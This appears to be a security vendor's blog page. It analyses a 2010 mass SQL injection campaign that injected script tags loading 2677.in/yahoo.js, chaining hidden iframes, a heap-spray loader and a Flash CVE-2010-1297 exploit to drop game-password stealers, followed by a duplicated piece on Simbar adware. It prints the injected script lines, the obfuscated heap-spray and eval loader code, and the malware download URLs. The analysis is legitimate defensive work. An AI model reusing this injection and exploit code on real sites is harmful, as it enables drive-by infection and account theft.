<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>
<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>
yahoo.js serves as the entry snippet. From there the exploitation flow is illustrated as follows:
We'll describe the exploitation process below.
1. http://2677.in/yahoo.js dynamically creates two iframes pointing to http://2677.in/cnzz.html (visitor counter service) and http://2677.in/ie.htm (flash exploit)
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
2. http://2677.in/cnzz.html uses a free visitor counter serivce cnzz.com in order to track infections and hit count
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
Now if we link to the counter page, we'll notice that the attacker's handle is "dnf666." Sounds familiar, right?
Yes, that's right, rings a bell--the "dnf666.net" mass sql injection incident that happened back in March. The handle is the same--dnf666.net, the sql injection strings are extremely identical, and both used cnzz as counter service.
Oh, and actually, robint.us used cnzz, too: http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
And furthermore, the dnf666.net attack involved "robints.us," yes, with an additional "s":
Also see here for additional evidences.
So, in March, dnf666 launched a similar attack, involving robint"s".us. Recently, they launched two more based on the Adobe Flash 0day (VE-2010-1297)--robint.us and 2677.in.
"6" in Mandarin is phonetically identical to the word "smooth" or "well," and so 666 is a lucky number in Chinese culture. What is DNF?
DNF stands for "Dungeon Fighter," a popular online game in the Chinese community. It's offered in Taiwan here and in China on top of the QQ platform here. dnf666.net was a platform selling (illegal) plugins to these online games. Adding these together, it's no surprise that at the end of this article, our conclusion is the purpose of both robint.us and 2677.in attacks were aimed at stealing passwords to online games.
Moving on.
3. http://2677.in/ie.html stores its heap spray code inside a DOM object
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>
Escaped version is easier to read:
var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;
In our flow diagram, we labeled this "trick 1." The trick defeats automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
4. This <div id=sun> object is eval'ed by javascript inside ie.html
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
We labeled this "trick 2" in our diagram, because it again, defeats (both the static analysis and behavior analysis modules of) scanners that do not implement the full browser and therefore do not actually have the ability to make network connections, send http request and retrieve the shellcode.
5. http://2677.in/ie.html embeds swf exploit anhey.swf for CVE-2010-1297
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
And that'll do it. Javascripts inside ie.html does the heap spraying and puts the retrieved shellcode (from log.txt) into memory, while anhey.swf triggers the exploit.
We can't help but notice the name of this flash exploit: "anhey.swf"--used both in robint.us and 2677.in.
We also remember this piece of dynamically generated code in robint.us:
var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");
Note the variable name--"cuteqq".
Well,CuteQQ and Anhey are the same Chinese company, and both domains map to the same server. The company sells drive-by download exploit kits:
And if we look at the tool's screenshot, we can see that it specifically provides a textbox for the attacker to enter the URL to his counter service (in this case, cnzz.com). It obviously supports "flash 10 0day." The middle section allows the attacker to enable various anti-detection techniques, which results in the tricks 1 and 2 we described.
Alright, moving on.
6. http://2677.in/anhey.swf exploits CVE-2010-1297 and drops downloader: http://2677.in/log.exe
7. http://2677.in/log.exe has the following behavior:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
Retrieves: http://d.iamcome.in/u.txt, content:
222
http://d.iamcome.in/ma.exe
8. Following the instructions given inside u.txt, log.exe downloads http://d.iamcome.in/ma.exe, which has the following behavior:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
Steals accounts:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. Conclusion]
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
[4. Appendix]
1. HackAlert V3 forensics query dump
Visited path: http://2677.in/ie.html
Source code:
======
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>
<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");
var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;
}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;
for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
</script>
========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========
2. Parts of anhey.swf:
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
public dynamic class ball extends flash.display::MovieClip
{
//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;
//========================= Methods
public static function ball()
{
return;
}
public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;
}
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;
}
internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
}
public dynamic class focusRectSkin extends flash.display::MovieClip
{
//========================= Methods
public static function focusRectSkin()
{
return;
}
public function focusRectSkin()
{
super();
return;
}
}
}
Read more (rest of article)...
Browser Helper Objects - Infection with Extensibility - Simbar
A Browser Helper Object is a relatively small plug-in for Internet Explorer (IE) that provides extended functionality. As these objects are not part of the baseline software, it crucial to verify their authenticity. Even if the state is verified, these objects can still be exploited and manipulated to perform rogue functions within the system itself.
There are no stringent integrity checks on these helper objects which leaves them open to exploit.They can be used to enable drive by download attacks or to steal sensitive information from the victim computer. Usually, a BHO is a dynamic link library (dl) that provides an advanced set of features to IE. It uses a standard hooking procedure to control the dynamic objects by rendering code in a JavaScript interpreter. The BHO also makes changes in the IE interface to execute differential calls while providing an extra toolset that could allow malware writers to design their own rogue BHO.
The details of BHO development can be found HERE
IE reveals sensitive information in the “User-Agent” field for some of the verified BHO. Recently a lot of infections have occurred through Adware.Simbar. The way to look into this type of BHO is to find a vulnerable point through which information is sent back to the attacker controlled system. Armorize conducted a small test on the Simbar BHO and found that it is the most commonly exploited BHO. Simbar is a small program designed to show advertisements in various form and with varying degrees of intrusiveness on the end-user computer. It often reports personal information back to its owners violating the end-user privacy)
The Simbar is installed as
A generalized definition:“Simbar is a BHO toolbar that also changes the default home page and search page of the browser without user consent or knowledge. Since it’s installed as BHO it can monitor everything being sent and received by your browser including information like username/password send using secured protocol.”
Major Risk: It turns victim computer into bots by exchanging information through the browser. It is supported by major bots that infect computers through browser inter protocol communication model. This is confirmed through the information sent in the User Agent field. Potential impacts on the system are as follows:
1.Unwanted display of advertisements in Internet Explorer.
2.Tracking of user browsing activity through installed infected toolbar
3.Installation and downloading of malicious programs into system
4.Disclosing user system information thereby breaching privacy benchmarks.
An infected IE sends the User Agent string as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={8E94F616-2CF0-11DE-83FE-001422DDFEBA}; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )
Usually, Simbars are not verified but in this case, the verified version is installed in IE. This behavior leaks sensitive information about the objects which can be used in Active X Exploitation attacks thereby allowing users to visit the attacker-controlled malicious web pages. The registry shows appropriate entries as:
Simbar objects are used extensively in bot infections. The best practice is not to install these objects but if you chose to do so your PC will become just one more part of a larger exploitation network.
Read more (rest of article)...
There are no stringent integrity checks on these helper objects which leaves them open to exploit.They can be used to enable drive by download attacks or to steal sensitive information from the victim computer. Usually, a BHO is a dynamic link library (dl) that provides an advanced set of features to IE. It uses a standard hooking procedure to control the dynamic objects by rendering code in a JavaScript interpreter. The BHO also makes changes in the IE interface to execute differential calls while providing an extra toolset that could allow malware writers to design their own rogue BHO.
The details of BHO development can be found HERE
IE reveals sensitive information in the “User-Agent” field for some of the verified BHO. Recently a lot of infections have occurred through Adware.Simbar. The way to look into this type of BHO is to find a vulnerable point through which information is sent back to the attacker controlled system. Armorize conducted a small test on the Simbar BHO and found that it is the most commonly exploited BHO. Simbar is a small program designed to show advertisements in various form and with varying degrees of intrusiveness on the end-user computer. It often reports personal information back to its owners violating the end-user privacy)
The Simbar is installed as
A generalized definition:“Simbar is a BHO toolbar that also changes the default home page and search page of the browser without user consent or knowledge. Since it’s installed as BHO it can monitor everything being sent and received by your browser including information like username/password send using secured protocol.”
Major Risk: It turns victim computer into bots by exchanging information through the browser. It is supported by major bots that infect computers through browser inter protocol communication model. This is confirmed through the information sent in the User Agent field. Potential impacts on the system are as follows:
1.Unwanted display of advertisements in Internet Explorer.
2.Tracking of user browsing activity through installed infected toolbar
3.Installation and downloading of malicious programs into system
4.Disclosing user system information thereby breaching privacy benchmarks.
An infected IE sends the User Agent string as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={8E94F616-2CF0-11DE-83FE-001422DDFEBA}; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )
Usually, Simbars are not verified but in this case, the verified version is installed in IE. This behavior leaks sensitive information about the objects which can be used in Active X Exploitation attacks thereby allowing users to visit the attacker-controlled malicious web pages. The registry shows appropriate entries as:
Simbar objects are used extensively in bot infections. The best practice is not to install these objects but if you chose to do so your PC will become just one more part of a larger exploitation network.
Read more (rest of article)...